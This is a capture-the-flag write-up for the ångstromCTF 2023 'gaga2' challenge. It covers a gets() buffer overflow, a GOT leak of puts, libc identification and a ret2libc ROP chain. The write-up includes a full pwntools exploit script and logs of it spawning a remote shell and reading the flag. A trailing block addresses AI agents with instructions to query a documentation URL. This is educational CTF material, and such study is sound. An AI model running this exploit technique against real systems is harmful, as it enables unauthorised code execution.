# ångstromCTF 2023: gaga2

## TL;DR

> Leak `puts` address, and find the correct LIBC version from Bulkat database. Use the LIBC base address to perform a *ret2libc* attack.

## Basic File Checks

In this 3 part challenge, gaga0 & gaga1 were solved using ret2win. However, gaga2 suggests that there is no `win` function available, so we're left with shellcode injection or *ret2libc* attack.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./gaga2 
Awesome! Now there's no system(), so what will you do?!
Your input: test
```

Performing binary protection check shows that NX is enabled, so shellcode injection is not feasible. Additionally, NX enabled is hinting that we need to perform a ROP attack.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ checksec --file=gaga2
[*] '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

## Static Code Analysis

`gets` function is used without boundary check, leading to a pwnable scenario for Buffer Overflow attack.

```c
void main(void)

{
  char local_48 [60];
  __gid_t local_c;
  
  setbuf(stdout,(char *)0x0);ass
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  puts("Awesome! Now there\'s no system(), so what will you do?!");
  printf("Your input: ");
  gets(local_48);
  return;
}
```

## Finding Offset

Using *de Brujin Sequence* and *pwndbg* to locate the offset.

```gdscript
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic 80            
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ gdb gaga2
GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

Reading symbols from gaga2...
(No debugging symbols found in gaga2)
pwndbg> run
Starting program: /home/kali/Desktop/CTF/angStrom2023/gaga/gaga2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Awesome! Now there's no system(), so what will you do?!
Your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa

Program received signal SIGSEGV, Segmentation fault.
0x000000000040124a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7fffffffde70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
 RBX  0x7fffffffdfc8 —▸ 0x7fffffffe31a ◂— '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
 RCX  0x7ffff7f99a80 (_IO_2_1_stdin_) ◂— 0xfbad2288
 RDX  0x1
 RDI  0x7ffff7f9ba20 (_IO_stdfile_0_lock) ◂— 0x0
 RSI  0x1
 R8   0x4052f1 ◂— 0x0
 R9   0x0
 R10  0x1000
 R11  0x246
 R12  0x0
 R13  0x7fffffffdfd8 —▸ 0x7fffffffe349 ◂— 'COLORFGBG=15;0'
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x6161617261616171 ('qaaaraaa')
 RSP  0x7fffffffdeb8 ◂— 'saaataaa'
 RIP  0x40124a (main+116) ◂— ret 
 
 ┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic -l saaa
72
```

## Attack Strategy

Since there is no `win` function available, we can instead create our own system function `/bin/sh` from LIBC, and direct program execution to that function address, this is known as a *ret2libc* or *ret2system* attack. To do so, we will need the base address of LIBC library.

Technically, you can manually carve for the address of `system(/bin/sh)` from LIBC.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 196031 /bin/sh
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1023: 000000000004c330    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5
```

However, this is only the relative offset, not the actual address due to *ASLR*. In order for this attack to work, we need to calculate `LIBC base address + offset address` to get the actual address of `system(/bin/sh)`.

## Leaking GOT Address

Using the BoF vulnerability, we can leak any function address from the *Global Offset Table (GOT)*.

There are 2 methods to enumerate LIBC functions from the GOT, using either `objdump` or `Ghidra's Program Tree`.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ objdump -t gaga2                                                

gaga2:     file format elf64-x86-64

SYMBOL TABLE:
0000000000404058 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setresgid@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setbuf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              gets@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              getegid@@GLIBC_2.2.5
```

<figure><img src="/files/tppo3EwpHgfQvev6SzbU" alt=""><figcaption></figcaption></figure>

The exploit ROP chain consists of 5 parts:

* `asm('nop') * padding`: Filling up the buffer to reach the offset.
* `pop_rdi`: Prepare the `rdi` register by popping the value off stack (emptying out the register).
* `elf.got.puts`: The address we want to leak. This can be any exportable function from `gaga2` binary. In this case, we will leak the address of `puts` function.
* `elf.plt.puts`: The function of choice invoked to leak `got.puts` address. The reason why `puts` is used again here, is because `puts` only requires 1 arguments, so we only need to prepare 1 register `rdi`. Technically speaking, we can also use `write` or `printf` here, but it requires more arguments, hence more ROPGadgets to prepare.
* `elf.symbols.main`: Finally, we want to redirect program execution back to `main` to re-exploit the BoF vulnerability.

<figure><img src="/files/HGB5qDdfVenebW7QCjuU" alt=""><figcaption></figcaption></figure>

Exploit the BoF vulnerability once to leak `puts` address. Note that this is the actual address, not the relative offset.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Switching to interactive mode
```

## Calculating LIBC Base Address

Since the challenge author did not provide the LIBC file used by the remote instance, we can perform a lookup from Blukat Database using the leaked `puts` address. Turns out to be `libc6_2.31-0ubuntu9.9_amd64`.

<figure><img src="/files/oqfeJjpSNednaGbXOTdB" alt=""><figcaption></figcaption></figure>

Now that we know which version of LIBC is used, we can carve the relative offset of `puts` using `libc.symbols['puts']`, and compare it with the leaked address of `got.puts` to calculate the base address of LIBC.

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Leaked LIBC Base Address:  0x7f560547c000
[*] Switching to interactive mode
```

## ret2libc

Using the base address of LIBC and relative offsets, we can calculate the actual address of `system(/bin/sh)` to pwn the remote server. The ROP chain for 2nd round of exploitation is essentially the same. We need to pop `rdi` again since `system()` accepts 1 argument, and insert `ret` in the middle for 64-bit stack alignment.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './gaga2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so', checksec = False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

padding = 72

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    elf.symbols.main
)

io.sendlineafter(b': ', payload)

got_puts = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("Leaked puts Address: %#x", got_puts)

libc_base_address = got_puts - libc.symbols['puts']
print("Leaked LIBC Base Address: ", hex(libc_base_address))

rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    bin_sh,
    ret,
    system
)

io.clean()
io.sendlineafter(b': ', payload)
io.interactive()
```

{% endcode %}

```
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
Leaked LIBC Base Address:  0x7f560547c000
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.9_amd64.so'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  6a fb 49 05  56 7f 00 00  │····│····│j·I·│V···│
    00000050  bd 05 63 05  56 7f 00 00  79 e6 49 05  56 7f 00 00  │··c·│V···│y·I·│V···│
    00000060  90 e2 4c 05  56 7f 00 00  0a                        │··L·│V···│·│
    00000069
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xd bytes:
    b'flag.txt\n'
    b'run\n'
flag.txt
run
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
    b"actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}"
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}
```

**Flag:** actf{b4by's\_f1rst\_pwn!\_3857ffd6bfdf775e}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/angstromctf-2023-gaga2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
